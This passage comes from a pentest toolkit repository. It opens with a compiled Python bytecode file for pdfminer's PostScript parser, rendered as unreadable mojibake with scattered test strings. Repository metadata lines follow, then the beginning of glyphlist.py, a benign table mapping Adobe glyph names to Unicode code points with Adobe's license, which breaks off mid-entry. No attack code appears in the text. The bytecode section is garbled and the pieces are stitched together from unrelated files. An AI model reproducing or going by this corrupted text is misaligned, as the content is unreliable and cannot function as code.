Rê((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt add_results˚scCsa|ii||i|ifÉ|g|_|_d|ijotid||fIJndS(Nisstart_type: pos=%r, type=%r(RãRfRåRçR6R/R0(R R2ttype((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt start_types cCs≠|i|jotd|i|fÉÇng}|iD]\}}||q;~}|iiÉ\}|_|_d|ijotid|||fIJn||fS(NsType mismatch: %r != %ris"end_type: pos=%r, type=%r, objs=%r(RåRRçRãRÜR6R/R0(R Rît_[1]t_RgRêR2((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytend_types*cCsdS(N((R R2Rw((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt do_keywordscCs—xê|ipÖ|iÉ\}}t|tÉp@t|tÉp0t|tÉp t|tÉpt|tÉo|i||fÉnÓ|t jo|i |dÉnÕ|t joBy|i|i dÉÉWqst j otoÇqÚqsXn~|tjo|i |dÉn]|tjoûyv|i dÉ\}}t|Éddjotd|ÉÇntdÑtd|ÉDÉÉ}|i||fÉWqst j otoÇqæqsXn≤|tjo|i |dÉnë|tjoBy|i|i dÉÉWqst j otoÇq.qsXnBd|ijo!tid|||ifIJn|i||É|ioqq|iÉqW|iidÉ}d|ijotid |fIJn|S( sƒYields a list of objects. Returns keywords, literals, strings, numbers, arrays and dictionaries. Arrays and dictionaries are represented as Python lists and dictionaries. tatdiis Invalid dictionary construct: %rcss<x5|].\}}|dj ot|É|fVqqWdS(N(RàR(t.0tktv((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pys <genexpr>7s tps&do_keyword: pos=%r, token=%r, stack=%rsnextobject: %r(RéRáRRpRstboolRR RëtKEYWORD_ARRAY_BEGINRïtKEYWORD_ARRAY_ENDRòRRR}RR=RRRtKEYWORD_PROC_BEGINtKEYWORD_PROC_ENDR6R/R0RçRôRãR+RÜ(R R2RwRêRõRg((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt nextobjects`         ( RRR RäR(RëRÜRíRìRïRòRôR•(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRâ⁄s         tTestPSBaseParserc.BsÖeZdZdedÉfdedÉfdedÉfdedÉfd ed Éfd ed Éfd edÉfdedÉfdedÉfdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjd5ed6Éfd7ed Éfd8ed9Éfd:ed;Éfdkd>ed?Éfd@edAÉfdBedCÉfdDedEÉfdldmdIedJÉfdKedLÉfdMedNÉfdOedPÉfdndSedTÉfg,Zd ed Éfd edÉfdedÉfdedÉfdodpdqdrdsdtdudvdwdxdydzd{d|d}d~ddÄd7ed Éfd8ed9Éfd:d=gfdDddHgfdMhdRdP6fgZdUÑZdVÑZdWÑZ dXÑZ RS(Ås%!PS begin end " @ # /a/BCD /Some_Name /foo#5f#xbaa 0 +1 -2 .5 1.234 (abc) () (abc ( def ) ghi) (def\040\0\0404ghi) (bach\\slask) (foo\nbaa) (this % is not a comment.) (foo baa) (foo\ baa) <> <20> < 40 4020 > <abcd00 12345> func/a/b{(c)do*}def [ 1 (z) ! ] << /foo (bar) >> itbegini RCit"it@iRhiRöitBCDit Some_Namei)tfoo_xbaai6ii8ii;i˛ˇˇˇi>g‡?iAgX9¥»væÛ?iGtabciMR5iPsabc ( def ) ghiibs def 4ghiivs bach\slaskiÑsfoo baaièsthis % is not a comment.i™i¥tfoobaaiøi¬t i«s@@ i”s´Õ4i‚tfunciÊiËRiÍRiÎRHiÓsdo*iÒRiÚtdefiˆRi¯i˙tzi˛t!iRis<<itfooi tbaris>>cCstddk}dtfdÑÉY}||i|ÉÉ}g}yx|i|iÉÉqCWntj onX|S(NiˇˇˇˇtMyParsercBseZdÑZRS(cSs|i|iÉådS(N(RìRí(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR+âs(RRR+(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR∂às(tStringIOR&RfRáR(R RNR∑R∂tparserR#((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt get_tokensÜs cCstddk}dtfdÑÉY}||i|ÉÉ}g}yx|i|iÉÉqCWntj onX|S(NiˇˇˇˇR∂cBseZdÑZRS(cSs|i|iÉådS(N(RìRí(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR+ós(RRR+(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR∂ñs(R∑RâRfR•R(R RNR∑R∂R∏R#((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt get_objectsîs cCs.|i|iÉ}|GH|i||iÉdS(N(RπtTESTDATAt assertEqualtTOKENS(R ttokens((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyttest_1¢scCs.|i|iÉ}|GH|i||iÉdS(N(R∫RªRºtOBJS(R Rê((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyttest_2®s(i6i(i8i(i;i˛ˇˇˇ(i>g‡?(iAgX9¥»væÛ?(iGsabc(iMR5(iPsabc ( def ) ghi(ibs def 4ghi(ivs bach\slask(iÑsfoo baa(ièsthis % is not a comment.(i™sfoo baa(i¥RÆ(iøR5(i¬RØ(i«s@@ (i”s´Õ4(iÎRH(i¯i(i˙R≤(i Rµ(i6i(i8i(i;i˛ˇˇˇ(i>g‡?(iAgX9¥»væÛ?(iGsabc(iMR5(iPsabc ( def ) ghi(ibs def 4ghi(ivs bach\slask(iÑsfoo baa(ièsthis % is not a comment.(i™sfoo baa(i¥RÆ(iøR5(i¬RØ(i«s@@ (i”s´Õ4( RRRªRcRlRΩR¿RπR∫RøR¡(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR¶Vs2<<    -030-    9   t__main__(1R/tretutilsRRt ExceptionRRRRRtobjectRR RRtPSLiteralTabletPSKeywordTableRRlRcR£R§R°R¢R}RRRtcompileRARÖRURmRiRÇRÉRqRvRxR{R|R&RâtunittesttTestCaseR¶Rtmain(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt<module>sV               >ˇO{ X
25,028
Python
.py
143
172.986014
1,166
0.394378
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,821
glyphlist.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/glyphlist.py
#!/usr/bin/env python2 """ Mappings from Adobe glyph names to Unicode characters. In some CMap tables, Adobe glyph names are used for specifying Unicode characters instead of using decimal/hex character code. The following data was taken by $ wget http://www.adobe.com/devnet/opentype/archives/glyphlist.txt $ python tools/conv_glyphlist.py glyphlist.txt > glyphlist.py """ # ################################################################################### # Copyright (c) 1997,1998,2002,2007 Adobe Systems Incorporated # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this documentation file to use, copy, publish, distribute, # sublicense, and/or sell copies of the documentation, and to permit # others to do the same, provided that: # - No modification, editing or other alteration of this document is # allowed; and # - The above copyright notice and this permission notice shall be # included in all copies of the documentation. # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this documentation file, to create their own derivative works # from the content of this document to use, copy, publish, distribute, # sublicense, and/or sell the derivative works, and to permit others to do # the same, provided that the derived work is not represented as being a # copy or version of this document. # # Adobe shall not be liable to any party for any loss of revenue or profit # or for indirect, incidental, special, consequential, or other similar # damages, whether based on tort (including without limitation negligence # or strict liability), contract or other legal or equitable grounds even # if Adobe has been advised or had reason to know of the possibility of # such damages. The Adobe materials are provided on an "AS IS" basis. # Adobe specifically disclaims all express, statutory, or implied # warranties relating to the Adobe materials, including but not limited to # those concerning merchantability or fitness for a particular purpose or # non-infringement of any third party rights regarding the Adobe # materials. # ################################################################################### # Name: Adobe Glyph List # Table version: 2.0 # Date: September 20, 2002 # # See http://partners.adobe.com/asn/developer/typeforum/unicodegn.html # # Format: Semicolon-delimited fields: # (1) glyph name # (2) Unicode scalar value glyphname2unicode = { 'A': u'\u0041', 'AE': u'\u00C6', 'AEacute': u'\u01FC', 'AEmacron': u'\u01E2', 'AEsmall': u'\uF7E6', 'Aacute': u'\u00C1', 'Aacutesmall': u'\uF7E1', 'Abreve': u'\u0102', 'Abreveacute': u'\u1EAE', 'Abrevecyrillic': u'\u04D0', 'Abrevedotbelow': u'\u1EB6', 'Abrevegrave': u'\u1EB0', 'Abrevehookabove': u'\u1EB2', 'Abrevetilde': u'\u1EB4', 'Acaron': u'\u01CD', 'Acircle': u'\u24B6', 'Acircumflex': u'\u00C2', 'Acircumflexacute': u'\u1EA4', 'Acircumflexdotbelow': u'\u1EAC', 'Acircumflexgrave': u'\u1EA6', 'Acircumflexhookabove': u'\u1EA8', 'Acircumflexsmall': u'\uF7E2', 'Acircumflextilde': u'\u1EAA', 'Acute': u'\uF6C9', 'Acutesmall': u'\uF7B4', 'Acyrillic': u'\u0410', 'Adblgrave': u'\u0200', 'Adieresis': u'\u00C4', 'Adieresiscyrillic': u'\u04D2', 'Adieresismacron': u'\u01DE', 'Adieresissmall': u'\uF7E4', 'Adotbelow': u'\u1EA0', 'Adotmacron': u'\u01E0', 'Agrave': u'\u00C0', 'Agravesmall': u'\uF7E0', 'Ahookabove': u'\u1EA2', 'Aiecyrillic': u'\u04D4', 'Ainvertedbreve': u'\u0202', 'Alpha': u'\u0391', 'Alphatonos': u'\u0386', 'Amacron': u'\u0100', 'Amonospace': u'\uFF21', 'Aogonek': u'\u0104', 'Aring': u'\u00C5', 'Aringacute': u'\u01FA', 'Aringbelow': u'\u1E00', 'Aringsmall': u'\uF7E5', 'Asmall': u'\uF761', 'Atilde': u'\u00C3', 'Atildesmall': u'\uF7E3', 'Aybarmenian': u'\u0531', 'B': u'\u0042', 'Bcircle': u'\u24B7', 'Bdotaccent': u'\u1E02', 'Bdotbelow': u'\u1E04', 'Becyrillic': u'\u0411', 'Benarmenian': u'\u0532', 'Beta': u'\u0392', 'Bhook': u'\u0181', 'Blinebelow': u'\u1E06', 'Bmonospace': u'\uFF22', 'Brevesmall': u'\uF6F4', 'Bsmall': u'\uF762', 'Btopbar': u'\u0182', 'C': u'\u0043', 'Caarmenian': u'\u053E', 'Cacute': u'\u0106', 'Caron': u'\uF6CA', 'Caronsmall': u'\uF6F5', 'Ccaron': u'\u010C', 'Ccedilla': u'\u00C7', 'Ccedillaacute': u'\u1E08', 'Ccedillasmall': u'\uF7E7', 'Ccircle': u'\u24B8', 'Ccircumflex': u'\u0108', 'Cdot': u'\u010A', 'Cdotaccent': u'\u010A', 'Cedillasmall': u'\uF7B8', 'Chaarmenian': u'\u0549', 'Cheabkhasiancyrillic': u'\u04BC', 'Checyrillic': u'\u0427', 'Chedescenderabkhasiancyrillic': u'\u04BE', 'Chedescendercyrillic': u'\u04B6', 'Chedieresiscyrillic': u'\u04F4', 'Cheharmenian': u'\u0543', 'Chekhakassiancyrillic': u'\u04CB', 'Cheverticalstrokecyrillic': u'\u04B8', 'Chi': u'\u03A7', 'Chook': u'\u0187', 'Circumflexsmall': u'\uF6F6', 'Cmonospace': u'\uFF23', 'Coarmenian': u'\u0551', 'Csmall': u'\uF763', 'D': u'\u0044', 'DZ': u'\u01F1', 'DZcaron': u'\u01C4', 'Daarmenian': u'\u0534', 'Dafrican': u'\u0189', 'Dcaron': u'\u010E', 'Dcedilla': u'\u1E10', 'Dcircle': u'\u24B9', 'Dcircumflexbelow': u'\u1E12', 'Dcroat': u'\u0110', 'Ddotaccent': u'\u1E0A', 'Ddotbelow': u'\u1E0C', 'Decyrillic': u'\u0414', 'Deicoptic': u'\u03EE', 'Delta': u'\u2206', 'Deltagreek': u'\u0394', 'Dhook': u'\u018A', 'Dieresis': u'\uF6CB', 'DieresisAcute': u'\uF6CC', 'DieresisGrave': u'\uF6CD', 'Dieresissmall': u'\uF7A8', 'Digammagreek': u'\u03DC', 'Djecyrillic': u'\u0402', 'Dlinebelow': u'\u1E0E', 'Dmonospace': u'\uFF24', 'Dotaccentsmall': u'\uF6F7', 'Dslash': u'\u0110', 'Dsmall': u'\uF764', 'Dtopbar': u'\u018B', 'Dz': u'\u01F2', 'Dzcaron': u'\u01C5', 'Dzeabkhasiancyrillic': u'\u04E0', 'Dzecyrillic': u'\u0405', 'Dzhecyrillic': u'\u040F', 'E': u'\u0045', 'Eacute': u'\u00C9', 'Eacutesmall': u'\uF7E9', 'Ebreve': u'\u0114', 'Ecaron': u'\u011A', 'Ecedillabreve': u'\u1E1C', 'Echarmenian': u'\u0535', 'Ecircle': u'\u24BA', 'Ecircumflex': u'\u00CA', 'Ecircumflexacute': u'\u1EBE', 'Ecircumflexbelow': u'\u1E18', 'Ecircumflexdotbelow': u'\u1EC6', 'Ecircumflexgrave': u'\u1EC0', 'Ecircumflexhookabove': u'\u1EC2', 'Ecircumflexsmall': u'\uF7EA', 'Ecircumflextilde': u'\u1EC4', 'Ecyrillic': u'\u0404', 'Edblgrave': u'\u0204', 'Edieresis': u'\u00CB', 'Edieresissmall': u'\uF7EB', 'Edot': u'\u0116', 'Edotaccent': u'\u0116', 'Edotbelow': u'\u1EB8', 'Efcyrillic': u'\u0424', 'Egrave': u'\u00C8', 'Egravesmall': u'\uF7E8', 'Eharmenian': u'\u0537', 'Ehookabove': u'\u1EBA', 'Eightroman': u'\u2167', 'Einvertedbreve': u'\u0206', 'Eiotifiedcyrillic': u'\u0464', 'Elcyrillic': u'\u041B', 'Elevenroman': u'\u216A', 'Emacron': u'\u0112', 'Emacronacute': u'\u1E16', 'Emacrongrave': u'\u1E14', 'Emcyrillic': u'\u041C', 'Emonospace': u'\uFF25', 'Encyrillic': u'\u041D', 'Endescendercyrillic': u'\u04A2', 'Eng': u'\u014A', 'Enghecyrillic': u'\u04A4', 'Enhookcyrillic': u'\u04C7', 'Eogonek': u'\u0118', 'Eopen': u'\u0190', 'Epsilon': u'\u0395', 'Epsilontonos': u'\u0388', 'Ercyrillic': u'\u0420', 'Ereversed': u'\u018E', 'Ereversedcyrillic': u'\u042D', 'Escyrillic': u'\u0421', 'Esdescendercyrillic': u'\u04AA', 'Esh': u'\u01A9', 'Esmall': u'\uF765', 'Eta': u'\u0397', 'Etarmenian': u'\u0538', 'Etatonos': u'\u0389', 'Eth': u'\u00D0', 'Ethsmall': u'\uF7F0', 'Etilde': u'\u1EBC', 'Etildebelow': u'\u1E1A', 'Euro': u'\u20AC', 'Ezh': u'\u01B7', 'Ezhcaron': u'\u01EE', 'Ezhreversed': u'\u01B8', 'F': u'\u0046', 'Fcircle': u'\u24BB', 'Fdotaccent': u'\u1E1E', 'Feharmenian': u'\u0556', 'Feicoptic': u'\u03E4', 'Fhook': u'\u0191', 'Fitacyrillic': u'\u0472', 'Fiveroman': u'\u2164', 'Fmonospace': u'\uFF26', 'Fourroman': u'\u2163', 'Fsmall': u'\uF766', 'G': u'\u0047', 'GBsquare': u'\u3387', 'Gacute': u'\u01F4', 'Gamma': u'\u0393', 'Gammaafrican': u'\u0194', 'Gangiacoptic': u'\u03EA', 'Gbreve': u'\u011E', 'Gcaron': u'\u01E6', 'Gcedilla': u'\u0122', 'Gcircle': u'\u24BC', 'Gcircumflex': u'\u011C', 'Gcommaaccent': u'\u0122', 'Gdot': u'\u0120', 'Gdotaccent': u'\u0120', 'Gecyrillic': u'\u0413', 'Ghadarmenian': u'\u0542', 'Ghemiddlehookcyrillic': u'\u0494', 'Ghestrokecyrillic': u'\u0492', 'Gheupturncyrillic': u'\u0490', 'Ghook': u'\u0193', 'Gimarmenian': u'\u0533', 'Gjecyrillic': u'\u0403', 'Gmacron': u'\u1E20', 'Gmonospace': u'\uFF27', 'Grave': u'\uF6CE', 'Gravesmall': u'\uF760', 'Gsmall': u'\uF767', 'Gsmallhook': u'\u029B', 'Gstroke': u'\u01E4', 'H': u'\u0048', 'H18533': u'\u25CF', 'H18543': u'\u25AA', 'H18551': u'\u25AB', 'H22073': u'\u25A1', 'HPsquare': u'\u33CB', 'Haabkhasiancyrillic': u'\u04A8', 'Hadescendercyrillic': u'\u04B2', 'Hardsigncyrillic': u'\u042A', 'Hbar': u'\u0126', 'Hbrevebelow': u'\u1E2A', 'Hcedilla': u'\u1E28', 'Hcircle': u'\u24BD', 'Hcircumflex': u'\u0124', 'Hdieresis': u'\u1E26', 'Hdotaccent': u'\u1E22', 'Hdotbelow': u'\u1E24', 'Hmonospace': u'\uFF28', 'Hoarmenian': u'\u0540', 'Horicoptic': u'\u03E8', 'Hsmall': u'\uF768', 'Hungarumlaut': u'\uF6CF', 'Hungarumlautsmall': u'\uF6F8', 'Hzsquare': u'\u3390', 'I': u'\u0049', 'IAcyrillic': u'\u042F', 'IJ': u'\u0132', 'IUcyrillic': u'\u042E', 'Iacute': u'\u00CD', 'Iacutesmall': u'\uF7ED', 'Ibreve': u'\u012C', 'Icaron': u'\u01CF', 'Icircle': u'\u24BE', 'Icircumflex': u'\u00CE', 'Icircumflexsmall': u'\uF7EE', 'Icyrillic': u'\u0406', 'Idblgrave': u'\u0208', 'Idieresis': u'\u00CF', 'Idieresisacute': u'\u1E2E', 'Idieresiscyrillic': u'\u04E4', 'Idieresissmall': u'\uF7EF', 'Idot': u'\u0130', 'Idotaccent': u'\u0130', 'Idotbelow': u'\u1ECA', 'Iebrevecyrillic': u'\u04D6', 'Iecyrillic': u'\u0415', 'Ifraktur': u'\u2111', 'Igrave': u'\u00CC', 'Igravesmall': u'\uF7EC', 'Ihookabove': u'\u1EC8', 'Iicyrillic': u'\u0418', 'Iinvertedbreve': u'\u020A', 'Iishortcyrillic': u'\u0419', 'Imacron': u'\u012A', 'Imacroncyrillic': u'\u04E2', 'Imonospace': u'\uFF29', 'Iniarmenian': u'\u053B', 'Iocyrillic': u'\u0401', 'Iogonek': u'\u012E', 'Iota': u'\u0399', 'Iotaafrican': u'\u0196', 'Iotadieresis': u'\u03AA', 'Iotatonos': u'\u038A', 'Ismall': u'\uF769', 'Istroke': u'\u0197', 'Itilde': u'\u0128', 'Itildebelow': u'\u1E2C', 'Izhitsacyrillic': u'\u0474', 'Izhitsadblgravecyrillic': u'\u0476', 'J': u'\u004A', 'Jaarmenian': u'\u0541', 'Jcircle': u'\u24BF', 'Jcircumflex': u'\u0134', 'Jecyrillic': u'\u0408', 'Jheharmenian': u'\u054B', 'Jmonospace': u'\uFF2A', 'Jsmall': u'\uF76A', 'K': u'\u004B', 'KBsquare': u'\u3385', 'KKsquare': u'\u33CD', 'Kabashkircyrillic': u'\u04A0', 'Kacute': u'\u1E30', 'Kacyrillic': u'\u041A', 'Kadescendercyrillic': u'\u049A', 'Kahookcyrillic': u'\u04C3', 'Kappa': u'\u039A', 'Kastrokecyrillic': u'\u049E', 'Kaverticalstrokecyrillic': u'\u049C', 'Kcaron': u'\u01E8', 'Kcedilla': u'\u0136', 'Kcircle': u'\u24C0', 'Kcommaaccent': u'\u0136', 'Kdotbelow': u'\u1E32', 'Keharmenian': u'\u0554', 'Kenarmenian': u'\u053F', 'Khacyrillic': u'\u0425', 'Kheicoptic': u'\u03E6', 'Khook': u'\u0198', 'Kjecyrillic': u'\u040C', 'Klinebelow': u'\u1E34', 'Kmonospace': u'\uFF2B', 'Koppacyrillic': u'\u0480', 'Koppagreek': u'\u03DE', 'Ksicyrillic': u'\u046E', 'Ksmall': u'\uF76B', 'L': u'\u004C', 'LJ': u'\u01C7', 'LL': u'\uF6BF', 'Lacute': u'\u0139', 'Lambda': u'\u039B', 'Lcaron': u'\u013D', 'Lcedilla': u'\u013B', 'Lcircle': u'\u24C1', 'Lcircumflexbelow': u'\u1E3C', 'Lcommaaccent': u'\u013B', 'Ldot': u'\u013F', 'Ldotaccent': u'\u013F', 'Ldotbelow': u'\u1E36', 'Ldotbelowmacron': u'\u1E38', 'Liwnarmenian': u'\u053C', 'Lj': u'\u01C8', 'Ljecyrillic': u'\u0409', 'Llinebelow': u'\u1E3A', 'Lmonospace': u'\uFF2C', 'Lslash': u'\u0141', 'Lslashsmall': u'\uF6F9', 'Lsmall': u'\uF76C', 'M': u'\u004D', 'MBsquare': u'\u3386', 'Macron': u'\uF6D0', 'Macronsmall': u'\uF7AF', 'Macute': u'\u1E3E', 'Mcircle': u'\u24C2', 'Mdotaccent': u'\u1E40', 'Mdotbelow': u'\u1E42', 'Menarmenian': u'\u0544', 'Mmonospace': u'\uFF2D', 'Msmall': u'\uF76D', 'Mturned': u'\u019C', 'Mu': u'\u039C', 'N': u'\u004E', 'NJ': u'\u01CA', 'Nacute': u'\u0143', 'Ncaron': u'\u0147', 'Ncedilla': u'\u0145', 'Ncircle': u'\u24C3', 'Ncircumflexbelow': u'\u1E4A', 'Ncommaaccent': u'\u0145', 'Ndotaccent': u'\u1E44', 'Ndotbelow': u'\u1E46', 'Nhookleft': u'\u019D', 'Nineroman': u'\u2168', 'Nj': u'\u01CB', 'Njecyrillic': u'\u040A', 'Nlinebelow': u'\u1E48', 'Nmonospace': u'\uFF2E', 'Nowarmenian': u'\u0546', 'Nsmall': u'\uF76E', 'Ntilde': u'\u00D1', 'Ntildesmall': u'\uF7F1', 'Nu': u'\u039D', 'O': u'\u004F', 'OE': u'\u0152', 'OEsmall': u'\uF6FA', 'Oacute': u'\u00D3', 'Oacutesmall': u'\uF7F3', 'Obarredcyrillic': u'\u04E8', 'Obarreddieresiscyrillic': u'\u04EA', 'Obreve': u'\u014E', 'Ocaron': u'\u01D1', 'Ocenteredtilde': u'\u019F', 'Ocircle': u'\u24C4', 'Ocircumflex': u'\u00D4', 'Ocircumflexacute': u'\u1ED0', 'Ocircumflexdotbelow': u'\u1ED8', 'Ocircumflexgrave': u'\u1ED2', 'Ocircumflexhookabove': u'\u1ED4', 'Ocircumflexsmall': u'\uF7F4', 'Ocircumflextilde': u'\u1ED6', 'Ocyrillic': u'\u041E', 'Odblacute': u'\u0150', 'Odblgrave': u'\u020C', 'Odieresis': u'\u00D6', 'Odieresiscyrillic': u'\u04E6', 'Odieresissmall': u'\uF7F6', 'Odotbelow': u'\u1ECC', 'Ogoneksmall': u'\uF6FB', 'Ograve': u'\u00D2', 'Ogravesmall': u'\uF7F2', 'Oharmenian': u'\u0555', 'Ohm': u'\u2126', 'Ohookabove': u'\u1ECE', 'Ohorn': u'\u01A0', 'Ohornacute': u'\u1EDA', 'Ohorndotbelow': u'\u1EE2', 'Ohorngrave': u'\u1EDC', 'Ohornhookabove': u'\u1EDE', 'Ohorntilde': u'\u1EE0', 'Ohungarumlaut': u'\u0150', 'Oi': u'\u01A2', 'Oinvertedbreve': u'\u020E', 'Omacron': u'\u014C', 'Omacronacute': u'\u1E52', 'Omacrongrave': u'\u1E50', 'Omega': u'\u2126', 'Omegacyrillic': u'\u0460', 'Omegagreek': u'\u03A9', 'Omegaroundcyrillic': u'\u047A', 'Omegatitlocyrillic': u'\u047C', 'Omegatonos': u'\u038F', 'Omicron': u'\u039F', 'Omicrontonos': u'\u038C', 'Omonospace': u'\uFF2F', 'Oneroman': u'\u2160', 'Oogonek': u'\u01EA', 'Oogonekmacron': u'\u01EC', 'Oopen': u'\u0186', 'Oslash': u'\u00D8', 'Oslashacute': u'\u01FE', 'Oslashsmall': u'\uF7F8', 'Osmall': u'\uF76F', 'Ostrokeacute': u'\u01FE', 'Otcyrillic': u'\u047E', 'Otilde': u'\u00D5', 'Otildeacute': u'\u1E4C', 'Otildedieresis': u'\u1E4E', 'Otildesmall': u'\uF7F5', 'P': u'\u0050', 'Pacute': u'\u1E54', 'Pcircle': u'\u24C5', 'Pdotaccent': u'\u1E56', 'Pecyrillic': u'\u041F', 'Peharmenian': u'\u054A', 'Pemiddlehookcyrillic': u'\u04A6', 'Phi': u'\u03A6', 'Phook': u'\u01A4', 'Pi': u'\u03A0', 'Piwrarmenian': u'\u0553', 'Pmonospace': u'\uFF30', 'Psi': u'\u03A8', 'Psicyrillic': u'\u0470', 'Psmall': u'\uF770', 'Q': u'\u0051', 'Qcircle': u'\u24C6', 'Qmonospace': u'\uFF31', 'Qsmall': u'\uF771', 'R': u'\u0052', 'Raarmenian': u'\u054C', 'Racute': u'\u0154', 'Rcaron': u'\u0158', 'Rcedilla': u'\u0156', 'Rcircle': u'\u24C7', 'Rcommaaccent': u'\u0156', 'Rdblgrave': u'\u0210', 'Rdotaccent': u'\u1E58', 'Rdotbelow': u'\u1E5A', 'Rdotbelowmacron': u'\u1E5C', 'Reharmenian': u'\u0550', 'Rfraktur': u'\u211C', 'Rho': u'\u03A1', 'Ringsmall': u'\uF6FC', 'Rinvertedbreve': u'\u0212', 'Rlinebelow': u'\u1E5E', 'Rmonospace': u'\uFF32', 'Rsmall': u'\uF772', 'Rsmallinverted': u'\u0281', 'Rsmallinvertedsuperior': u'\u02B6', 'S': u'\u0053', 'SF010000': u'\u250C', 'SF020000': u'\u2514', 'SF030000': u'\u2510', 'SF040000': u'\u2518', 'SF050000': u'\u253C', 'SF060000': u'\u252C', 'SF070000': u'\u2534', 'SF080000': u'\u251C', 'SF090000': u'\u2524', 'SF100000': u'\u2500', 'SF110000': u'\u2502', 'SF190000': u'\u2561', 'SF200000': u'\u2562', 'SF210000': u'\u2556', 'SF220000': u'\u2555', 'SF230000': u'\u2563', 'SF240000': u'\u2551', 'SF250000': u'\u2557', 'SF260000': u'\u255D', 'SF270000': u'\u255C', 'SF280000': u'\u255B', 'SF360000': u'\u255E', 'SF370000': u'\u255F', 'SF380000': u'\u255A', 'SF390000': u'\u2554', 'SF400000': u'\u2569', 'SF410000': u'\u2566', 'SF420000': u'\u2560', 'SF430000': u'\u2550', 'SF440000': u'\u256C', 'SF450000': u'\u2567', 'SF460000': u'\u2568', 'SF470000': u'\u2564', 'SF480000': u'\u2565', 'SF490000': u'\u2559', 'SF500000': u'\u2558', 'SF510000': u'\u2552', 'SF520000': u'\u2553', 'SF530000': u'\u256B', 'SF540000': u'\u256A', 'Sacute': u'\u015A', 'Sacutedotaccent': u'\u1E64', 'Sampigreek': u'\u03E0', 'Scaron': u'\u0160', 'Scarondotaccent': u'\u1E66', 'Scaronsmall': u'\uF6FD', 'Scedilla': u'\u015E', 'Schwa': u'\u018F', 'Schwacyrillic': u'\u04D8', 'Schwadieresiscyrillic': u'\u04DA', 'Scircle': u'\u24C8', 'Scircumflex': u'\u015C', 'Scommaaccent': u'\u0218', 'Sdotaccent': u'\u1E60', 'Sdotbelow': u'\u1E62', 'Sdotbelowdotaccent': u'\u1E68', 'Seharmenian': u'\u054D', 'Sevenroman': u'\u2166', 'Shaarmenian': u'\u0547', 'Shacyrillic': u'\u0428', 'Shchacyrillic': u'\u0429', 'Sheicoptic': u'\u03E2', 'Shhacyrillic': u'\u04BA', 'Shimacoptic': u'\u03EC', 'Sigma': u'\u03A3', 'Sixroman': u'\u2165', 'Smonospace': u'\uFF33', 'Softsigncyrillic': u'\u042C', 'Ssmall': u'\uF773', 'Stigmagreek': u'\u03DA', 'T': u'\u0054', 'Tau': u'\u03A4', 'Tbar': u'\u0166', 'Tcaron': u'\u0164', 'Tcedilla': u'\u0162', 'Tcircle': u'\u24C9', 'Tcircumflexbelow': u'\u1E70', 'Tcommaaccent': u'\u0162', 'Tdotaccent': u'\u1E6A', 'Tdotbelow': u'\u1E6C', 'Tecyrillic': u'\u0422', 'Tedescendercyrillic': u'\u04AC', 'Tenroman': u'\u2169', 'Tetsecyrillic': u'\u04B4', 'Theta': u'\u0398', 'Thook': u'\u01AC', 'Thorn': u'\u00DE', 'Thornsmall': u'\uF7FE', 'Threeroman': u'\u2162', 'Tildesmall': u'\uF6FE', 'Tiwnarmenian': u'\u054F', 'Tlinebelow': u'\u1E6E', 'Tmonospace': u'\uFF34', 'Toarmenian': u'\u0539', 'Tonefive': u'\u01BC', 'Tonesix': u'\u0184', 'Tonetwo': u'\u01A7', 'Tretroflexhook': u'\u01AE', 'Tsecyrillic': u'\u0426', 'Tshecyrillic': u'\u040B', 'Tsmall': u'\uF774', 'Twelveroman': u'\u216B', 'Tworoman': u'\u2161', 'U': u'\u0055', 'Uacute': u'\u00DA', 'Uacutesmall': u'\uF7FA', 'Ubreve': u'\u016C', 'Ucaron': u'\u01D3', 'Ucircle': u'\u24CA', 'Ucircumflex': u'\u00DB', 'Ucircumflexbelow': u'\u1E76', 'Ucircumflexsmall': u'\uF7FB', 'Ucyrillic': u'\u0423', 'Udblacute': u'\u0170', 'Udblgrave': u'\u0214', 'Udieresis': u'\u00DC', 'Udieresisacute': u'\u01D7', 'Udieresisbelow': u'\u1E72', 'Udieresiscaron': u'\u01D9', 'Udieresiscyrillic': u'\u04F0', 'Udieresisgrave': u'\u01DB', 'Udieresismacron': u'\u01D5', 'Udieresissmall': u'\uF7FC', 'Udotbelow': u'\u1EE4', 'Ugrave': u'\u00D9', 'Ugravesmall': u'\uF7F9', 'Uhookabove': u'\u1EE6', 'Uhorn': u'\u01AF', 'Uhornacute': u'\u1EE8', 'Uhorndotbelow': u'\u1EF0', 'Uhorngrave': u'\u1EEA', 'Uhornhookabove': u'\u1EEC', 'Uhorntilde': u'\u1EEE', 'Uhungarumlaut': u'\u0170', 'Uhungarumlautcyrillic': u'\u04F2', 'Uinvertedbreve': u'\u0216', 'Ukcyrillic': u'\u0478', 'Umacron': u'\u016A', 'Umacroncyrillic': u'\u04EE', 'Umacrondieresis': u'\u1E7A', 'Umonospace': u'\uFF35', 'Uogonek': u'\u0172', 'Upsilon': u'\u03A5', 'Upsilon1': u'\u03D2', 'Upsilonacutehooksymbolgreek': u'\u03D3', 'Upsilonafrican': u'\u01B1', 'Upsilondieresis': u'\u03AB', 'Upsilondieresishooksymbolgreek': u'\u03D4', 'Upsilonhooksymbol': u'\u03D2', 'Upsilontonos': u'\u038E', 'Uring': u'\u016E', 'Ushortcyrillic': u'\u040E', 'Usmall': u'\uF775', 'Ustraightcyrillic': u'\u04AE', 'Ustraightstrokecyrillic': 